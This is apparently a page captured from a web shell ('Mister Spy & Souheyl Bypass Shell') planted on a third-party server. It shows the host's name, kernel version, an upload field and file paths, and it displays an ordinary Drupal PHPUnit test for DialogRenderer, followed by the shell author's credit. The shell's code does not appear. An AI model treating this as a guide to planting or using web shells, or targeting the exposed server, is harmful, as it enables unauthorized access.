Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html_old/12park.001/web/core/tests/Drupal/Tests/Core/Controller/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html_old/12park.001/web/core/tests/Drupal/Tests/Core/Controller/DialogRendererTest.php

<?php

namespace Drupal\Tests\Core\Controller;

use Drupal\Core\Controller\TitleResolverInterface;
use Drupal\Core\Render\MainContent\DialogRenderer;
use Drupal\Tests\UnitTestCase;
use Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * @coversDefaultClass \Drupal\Core\Render\MainContent\DialogRenderer
 * @group Ajax
 */
class DialogRendererTest extends UnitTestCase {

  /**
   * @group legacy
   * @expectedDeprecation The renderer service must be passed to Drupal\Core\Render\MainContent\DialogRenderer::__construct and will be required before Drupal 9.0.0. See https://www.drupal.org/node/3009400
   */
  public function testConstructorRendererArgument() {
    $title_resolver = $this->createMock(TitleResolverInterface::class);
    $container = $this->createMock(ContainerInterface::class);
    $container->expects($this->once())
      ->method('get')
      ->with('renderer')
      ->willReturn(NULL);
    \Drupal::setContainer($container);
    new DialogRenderer($title_resolver);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net